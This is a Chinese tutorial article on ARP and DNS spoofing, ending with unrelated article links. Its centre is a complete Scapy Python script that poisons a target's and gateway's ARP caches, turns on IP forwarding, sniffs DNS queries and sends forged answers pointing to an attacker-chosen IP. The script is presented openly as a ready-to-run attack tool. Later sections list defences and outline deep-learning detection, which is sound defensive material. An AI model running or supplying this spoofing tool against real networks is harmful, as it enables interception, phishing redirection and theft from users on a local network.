DNS欺骗攻击技术详解及实战代码解析

简介

ARP(Address Resolution Protocol)欺骗和DNS(Domain Name System)欺骗是两种常见的网络攻击手段。本文将通过一段Python代码,详细解析如何利用Scapy库实现ARP欺骗与DNS欺骗,并进行实际操作。

实现原理

DNS欺骗(DNS Spoofing 或 DNS Poisoning)是一种网络安全攻击手段,它通过干扰正常的DNS解析过程,将域名指向错误的IP地址。这种攻击使得用户在访问一个合法网站时实际上被重定向到了恶意服务器上,从而可能导致个人信息泄露、恶意软件感染或欺诈行为的发生。

实现原理:

1. ARP欺骗:

  • 在局域网环境下,攻击者首先利用ARP协议进行ARP欺骗,让目标主机误以为攻击者的IP地址是默认网关或其他权威DNS服务器的IP地址。
  • 一旦目标主机将数据包发送给“伪装”的DNS服务器(即攻击者),攻击者就可以截获和篡改DNS查询响应。

2. 伪造DNS响应:

  • 当受害主机发起DNS查询请求时,攻击者会截取该请求,并迅速回应一个伪造的DNS应答,其中包含了攻击者希望受害者连接到的恶意IP地址。
  • 由于DNS查询ID字段可以被猜测或通过嗅探获取,攻击者构造的应答中会包含与原查询ID相同的值,以确保其能被接受为有效的响应。

3. 利用DNS缓存污染:

  • 受害主机接收到这个伪造的DNS记录后,会将其保存在本地的DNS缓存中,这样后续对该域名的所有请求都会使用缓存中的错误IP地址,直到缓存失效。

4. 漏洞利用:

  • 部分情况下,攻击者还可以利用DNS服务器软件的漏洞直接修改DNS记录,或者利用中间人(Man-in-the-Middle, MITM)攻击来篡改网络通信内容。

总的来说,DNS欺骗的关键在于破坏正常的数据流,通过欺骗性的DNS响应来改变流量的目的地,从而使用户与预期之外的服务建立连接。为了防御这类攻击,通常建议使用安全的DNS配置、启用DNSSEC(DNS Security Extensions)、使用HTTPS等加密协议以及保持系统和软件的安全更新。

运行步骤

  • 用户通过命令行参数指定待攻击的目标IP、网关IP、监听网卡以及是否启用DNS欺骗及欺骗指向的IP。
  • 程序首先检查权限并确保运行于管理员模式下,随后开启系统的IP转发功能。
  • 根据用户选择,分别启动ARP欺骗线程(op函数)和可能的DNS欺骗线程(wifi函数)。
  • 在接收到中断信号时,调用quit_fun函数结束所有线程并退出程序。

实现代码

关键函数:

  1. **quit_fun:**用于接收系统中断信号并安全退出程序。
  2. DNS_Spoof:核心DNS欺骗函数,当捕获到目标设备发送的DNS请求时,修改应答数据指向黑客指定的IP地址(由全局变量jokers设定),从而达到欺骗目的。
  3. DNS_S:启动DNS监听并执行DNS欺骗功能,参数为欺骗的目标IP地址和监听网卡接口名。
  4. op:ARP欺骗函数,向目标设备发送伪造的ARP响应包,使目标设备误认为黑客设备是其默认网关或目标主机,以截断或重定向网络流量。
  5. wifi:综合执行ARP欺骗与DNS欺骗,根据用户输入的参数决定是否同时启用DNS欺骗,并启动相应的线程。
  6. main:主函数,处理命令行参数,设置必要的系统环境(如开启IP转发),然后启动ARP欺骗与DNS欺骗线程。
# _*_coding:utf-8_*_import sys
import os
import threading
import signal
from scapy.all import *
from optparse import OptionParserdef quit_fun(i, j):print("\n[+]执行完毕!\n")sys.exit()# DNS欺骗函数
def DNS_Spoof(data):if data.haslayer(DNS):try:# 构造DNS AN数据dns_an = DNSRR(rrname=data[DNS].qd.qname, rdata=jokers)# 构造IP/UDP数据包repdata = IP(src=data[IP].dst, dst=data[IP].src) / UDP(dport=data[IP].sport, sport=53)# 构造DNS数据包repdata /= DNS(id=data[DNS].id, qd=data[DNS].qd, qr=1, an=dns_an)# 攻击信息输出print('\nhancker ip :' + jokers + " url : " + data[DNS].qd.qname)# 发送数据包send(repdata)except Exception as e:print('dns spoof error :' + e.message)sys.exit(1)# DNS欺骗函数
def DNS_S(dns_ip, iface):global jokersjokers = dns_ipprint("DNS欺骗开始!")sniff(prn=DNS_Spoof, filter='udp dst port 53', iface=iface)# ARP欺骗函数
def op(eths, mubiao_ip, Ps, gateway_ip):ip = mubiao_ipwifi = gateway_ip# 目标设备MAC地址dst_Mac = str(getmacbyip(ip))# 黑客设备mac地址self_Mac = str(get_if_hwaddr(eths))# 网关MAC地址wifi_Mac = str(getmacbyip(wifi))# 构造以太帧数据Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=wifi, hwdst=dst_Mac, pdst=ip)try:# 发送以太帧数据,sendp发送OSI模型中的二层数据sendp(Ether_data, inter=2, iface=eths, loop=1)except Exception as e:print("目标ARP数据发送失败!")def wifi(eths, mubiao_ip, gateway_ip, Ps, dns_ip):ip = gateway_ipdst = mubiao_ipet = eths# 根据IP获取MACdst_Mac = getmacbyip(ip)# 根据网卡获取MACself_Mac = get_if_hwaddr(et)Ether_data = Noneif Ps == "1":# 构造以太帧数据与ARP响应数据,ARP协议源地址给一个不存在的MAC地址与正确的IP地址对应,实现双向的无法解析,ARP协议的op参数是状态,2为响应数据,1为请求数据Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc='12:1a:13:a3:13:ef', psrc=dst, hwdst=dst_Mac,pdst=ip)# 新线程,开始DNS欺骗t3 = threading.Thread(target=DNS_S, args=(dns_ip, eths))t3.setDaemon(True)t3.start()if Ps == "0":# 构造以太帧数据与ARP响应数据,这里因为不需要DNS欺骗,所以不需要一个假的MAC地址,让双方通信设备正常访问即可Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=dst, hwdst=dst_Mac, pdst=ip)if Ps != "1" and Ps != "0":print(Ps)print(type(Ps))print('-P 参数有误!')sys.exit(1)try:sendp(Ether_data, inter=2, iface=et, loop=1)except Exception as e:print("网关ARP数据发送失败!")def main():signal.signal(signal.SIGINT, quit_fun)signal.signal(signal.SIGTERM, quit_fun)opx = OptionParser('Usage %prog[-i interface][-s adIP][-d GIP]')# 网卡opx.add_option('-i', dest='interface', help='NIC name')# 目标IPopx.add_option('-t', dest='adIP', help='Target device IP')# 网关IPopx.add_option('-g', dest='GIP', help='Gateway IP')# 是否打开DNS欺骗,0关闭只使用ARP欺骗,1打开启动ARP欺骗的同时启用DNS欺骗opx.add_option('-p', dest='DNS', help='Whether to open DNS spoofing (0 OFF, 1 ON)', default='1')# 用于DNS欺骗的IPopx.add_option('-d', dest='DNSip', help='DNS Spoof IP')(options, args) = opx.parse_args()if options.interface is None or options.adIP is None or options.GIP is None:opx.print_help()sys.exit(0)if options.DNS == "1" and options.DNSip == None:print("你选择的DNS欺骗选项就必须填写伪造DNS IP!")opx.print_help()sys.exit(0)else:try:if os.geteuid() != 0:print("[-]请使用管理员权限打开!")sys.exit(1)else:tail_0 = os.popen("sysctl -w net.ipv4.ip_forward=1")print("ip转发设置:" + tail_0.read())eth = options.interfacemubiao = options.adIPgateway = options.GIPP = options.DNSdip = options.DNSipprint('开始攻击')t1 = threading.Thread(target=op, args=(eth, mubiao, P, gateway))t1.setDaemon(True)t1.start()t2 = threading.Thread(target=wifi, args=(eth, mubiao, gateway, P, dip))t2.setDaemon(True)t2.start()except Exception as e:print(e)sys.exit(1)while True:passif __name__ == '__main__':main()

DNS欺骗防御措施

防御DNS欺骗可以从以下几个方面入手:

1. 使用安全的DNS解析服务:

  • 选择信誉良好的、支持DNSSEC(DNS Security Extensions)的安全DNS服务器。DNSSEC能够通过数字签名验证DNS记录的真实性,从而防止数据篡改。

2. 更新DNS软件:

  • 使用最新的DNS服务器软件,并保持及时更新以修复已知的安全漏洞,减少被攻击的风险。

3. 关闭DNS服务器递归功能:

  • 在非必需的情况下,关闭DNS服务器对外部查询的递归响应,仅允许权威查询。这样可以降低攻击者利用DNS服务器进行迭代查询来实施欺骗的可能性。

4. 启用DNS缓存污染防护机制:

  • 设置合理的DNS缓存刷新时间,并对DNS缓存有严格的管理与检查机制,避免恶意响应在缓存中长期有效。

5. 网络分段和防火墙策略:

  • 对内部网络进行逻辑隔离和访问控制,确保内部设备不会受到来自外部或受感染内部主机的DNS欺骗攻击。

6. 配置静态ARP表项:

  • 在局域网内,对于关键设备如DNS服务器、路由器等,可以设置静态ARP映射,以防止ARP欺骗导致的DNS请求重定向。

7. 使用DHCP Snooping和IP源防护技术:

  • DHCP Snooping能阻止未授权的DHCP服务器提供地址信息,而IP Source Guard则可防止非法来源的IP流量。

8. 用户教育和双重验证:

  • 提高用户的安全意识,教育他们识别可能的钓鱼网站,同时鼓励对重要服务采用HTTPS或其他加密协议,因为即使DNS被欺骗,SSL/TLS证书也会帮助检测到连接的目标并非预期的合法站点。

9. 启用双因素认证或多因素认证:

  • 对于敏感系统和服务,除了URL验证外,还可以增加其他形式的身份验证手段,进一步增强安全性。

通过以上多层面的防护措施,可以显著降低DNS欺骗带来的风险。同时,持续监测网络流量,及时发现并响应异常行为也是保障网络安全的重要环节。

如何使用DL检测DNS欺骗攻击

深度学习应用于DNS欺骗检测通常涉及异常检测或模式识别技术,可以通过以下步骤构建一个检测系统:

1. 数据采集与预处理:

  • 收集大量的正常和包含DNS欺骗行为的网络流量数据,这些数据可能包括DNS查询、响应包内容、时间戳、源IP地址、目标IP地址等信息。
  • 对数据进行预处理,如清洗、格式化和特征提取,将原始数据转换为可用于机器学习模型的特征向量。

2. 特征工程:

  • 从DNS流量中选择或构建有助于区分正常行为和欺骗行为的特征。这可能包括但不限于:域名一致性检查、响应时间和TTL值分析、IP地址变化规律、请求与应答间的一致性(例如ID字段是否匹配)等。

3. 模型构建:

  • 使用深度学习模型(如卷积神经网络CNN、循环神经网络RNN或变种LSTM、GRU等)对特征向量进行训练,以区分正常流量和可疑/恶意流量。
    模型可以设计成分类器,将流量分为“正常”或“欺骗”,也可以设计成自回归模型预测流量序列中的异常点。

4. 对抗样本生成与增强学习:

  • 为了提高模型的泛化能力和鲁棒性,可以采用对抗性学习的方法生成模拟攻击者可能使用的欺骗策略的数据样本,从而训练模型识别出更复杂的欺骗手法。

5. 训练与验证:

  • 划分数据集为训练集和测试集,用训练集训练模型,然后在测试集上验证模型性能,调整模型参数以优化检测准确率和召回率。

6. 实时监控与告警:

  • 将训练好的模型部署到实际环境中,实时分析网络中的DNS流量,并在检测到潜在的欺骗行为时触发告警或采取相应的防御措施。

需要注意的是,尽管深度学习在图像识别和自然语言处理等领域表现出了强大的能力,但在网络安全领域尤其是DNS欺骗检测中,传统的统计方法和启发式规则结合机器学习往往也能达到很好的效果。因此,在实践中,可能会结合多种方法来设计一套全面且高效的检测机制。同时,由于DNS协议本身的设计特性以及欺骗场景的复杂多样性,深度学习的应用需要充分考虑实际情况并结合其他安全手段共同作用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/739413.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

有哪些知识管理软件适合中小型企业,高管必看!

在经济加速发展的今天,企业对信息和知识的管理需求越来越高,于是,各类知识管理软件应运而生。对于中小型企业来说,选择一款高效、省时、方便的知识管理软件尤其重要。下面,我为大家推荐三款知识管理软件,适…

力扣L6--- 两数之和(java版)--2024年3月12日

1.题目 2.知识点 注1:在Java中,数组的长度不是通过调用一个方法获得的,而是通过一个属性直接获得的。因此,正确的语法是nums.length而不是nums.length()。 所以应该使用int m nums.length; 注2:return new int[]{i,…

计算机视觉2024年趋势简报

计算机视觉2024年趋势简报: **增强现实(AR)整合:**随着Apple和Meta等巨头推出消费级AR设备,预计计算机视觉将在日常应用中更为普及,如在制造、零售和教育领域提供沉浸式体验及操作支持。 **机器人-视觉语言…

【数据库】索引 视图 触发器 分页查询

目录 1、索引 2、视图 3、触发器 4、分页查询⚠️ 1、索引 提升查询效率、当数据量小的时候,索引看不出来效果,当数据量很大的时候,索引会显著提高查询速度 当给表添加索引之后,新插入一条数据,就会让索引进行重新…

SpringBoot注解事务失效列举总结

Spring事务注解 Transactional失效 常规写法不会有脏数据插入。 情景一、内部调用导致事务失效 数据库中出现测试回滚的脏数据 导致该问题原因为spring执行方法数据库操作的时候会生成一个动态代理类去执行代理类的该方法,代理类在执行updateUser时,执…

2024-3-11-C++作业

1>试编程 要求&#xff1a; 提示并输入一个字符串&#xff0c;统计该字符中大写、小写字母个数、数字个数、空格个数以及其他字符个数 源代码: #include <iostream>using namespace std;int main() {string s;cout << "请输入字符串&#xff1a;"…

CentOS 7 基于开源项目制作openssh 9.7p1二进制rpm包(内含ssh-copy-id、显示openssl版本信息)—— 筑梦之路

可参考之前的文章&#xff1a;CentOS 5/6/7 基于开源项目制作openssh 9.6p1 rpm包—— 筑梦之路_centos6 openssh9.6rpm-CSDN博客 2024年3月12日 植树节制作&#xff0c;相关文件见我的资源

java算法第20天 | ● 654.最大二叉树 ● 617.合并二叉树 ● 700.二叉搜索树中的搜索 ● 98.验证二叉搜索树

654.最大二叉树 和根据后/前中序遍历数组生成树结构的思路一样。首先要明确参数和返回值。 每次递归需要传入数组&#xff0c;和开始和结束的位置&#xff0c;返回的是二叉树的根节点。 /*** Definition for a binary tree node.* public class TreeNode {* int val;* …

解决对接淘宝开放平台添加商品图片问题

问题 之前工作因队友离开&#xff0c;只一天接手其部分且第二天就要上线此工具产品&#xff0c;测试提了一些Bug&#xff0c;在Bug中有一个是添加商品图片。前端告知不能用、电话离职队友说能用。没办法自己上、追踪代码。 en这块代码跟需求好像不太相符&#xff0c;重写。 …

力扣刷题日志-Day2 (力扣151、43、14)

151. 反转字符串中的单词 给你一个字符串 s &#xff0c;请你反转字符串中 单词 的顺序。 单词 是由非空格字符组成的字符串。s 中使用至少一个空格将字符串中的 单词 分隔开 思路&#xff1a;根据题目大意&#xff0c;空格之间的就是一个单词&#xff0c;所以我们需要利用…

[高精度加法和乘法] 阶乘之和

题目描述 用高精度计算出 S1!2!3!⋯n!&#xff08;n≤50&#xff09;。 其中 ! 表示阶乘&#xff0c;定义为 n!n(n−1)(n−2)⋯1。例如&#xff0c;5!54321120。 输入格式 一个正整数 n。 输出格式 一个正整数 S&#xff0c;表示计算结果。 输入输出样例 输入 #1 3输出…

swagger踩坑之请求类不显示具体字段

swagger踩坑之请求类不显示具体字段 省流&#xff1a;枚举字段需要加上ApiModelProperty注解 过程复现&#xff1a; TestEnum 枚举不加注解&#xff0c;swagger的UI类不显示详细字段 Data Accessors(chain true) ApiModel(value "test对象", description &quo…

通过Office Web Viewer站点在线展示Office文档内容

方法&#xff1a; https://view.officeapps.live.com/op/view.aspx?src经Url编码的文档线上Url地址 比如&#xff1a; //以下地址来自一份旧项目代码&#xff0c;可见用的就是该方案function OfficeFileViewOnline(url, file_type, file_name) {url "http://14.23.112.2…

【美团笔试】20240309—春招、暑期实习实习笔试

【美团笔试】20240309—春招实习笔试真题 文章目录 【美团笔试】20240309—春招实习笔试真题1. 小美的MT2. 小美的数组询问3. 小美的平衡矩阵(前缀和)4. 小美的区间删除5. 小美的朋友关系参考1. 小美的MT MT 是美团的缩写,因此小美很喜欢这两个字母。现在小美拿到了一个仅由…

算法——哈希王

242.有效的字母异位词 力扣题目链接(opens new window) 给定两个字符串 s 和 t &#xff0c;编写一个函数来判断 t 是否是 s 的字母异位词。 示例 1: 输入: s "anagram", t "nagaram" 输出: true 示例 2: 输入: s "rat", t "car&qu…

配置vscode环境极简版(C/C++)(图文)

前言 众所周知&#xff0c;vscode是一个代码编辑器&#xff0c;不能直接编译运行我们敲的代码&#xff0c;必须提前配置好环境&#xff0c;而这也是劝退一众小白的一大重要因素&#xff0c;下面我想以一种提纲挈领的方式带大家走一遍从配置环境到运行实操代码的全过程。 安装…

Java项目:基于Springboot+vue实现的付费自习室系统设计与实现(源码+数据库+毕业论文)附含微信小程序端代码

一、项目简介 本项目是一套基于Springbootvue实现的付费自习室系统 包含&#xff1a;项目源码、数据库脚本等&#xff0c;该项目附带全部源码可作为毕设使用。 项目都经过严格调试&#xff0c;eclipse或者idea 确保可以运行&#xff01; 该系统功能完善、界面美观、操作简单、…

如何利用生成式人工智能完善会议纪要:捕捉会议要点的指南

在当今快节奏的商业环境中&#xff0c;有效的沟通和记录保存至关重要。有组织的会议纪要是这一过程的基石&#xff0c;它们作为会议讨论和决策的书面记录。但如何编写不仅有组织而且可以为出席者和未出席者提供可靠资源的会议纪要呢&#xff1f;让我们深入探讨一下会议纪要的艺…

openssl3.2 - exp - generate ecc priv key

文章目录 openssl3.2 - exp - generate ecc priv key概述笔记备注END openssl3.2 - exp - generate ecc priv key 概述 前面实验已经将ECC加解密的流程用openssl命令模拟出来了. 现在开始将ECC加解密流程中的知识点从openssl.exe源码中迁移到自己工程. 先迁移了一个命令如下…

算法-贪心-XMUOJ圣遗物的强化

题目 思路 贪心 - OI Wiki (oi-wiki.org) 贪心算法&#xff08;greedy algorithm&#xff0c;又称贪婪算法&#xff09;详解&#xff08;附例题&#xff09;-CSDN博客 代码 Python暴力排序 def min_mora_cost(n, levels):levels.sort() # 对圣遗物等级进行升序排序total_…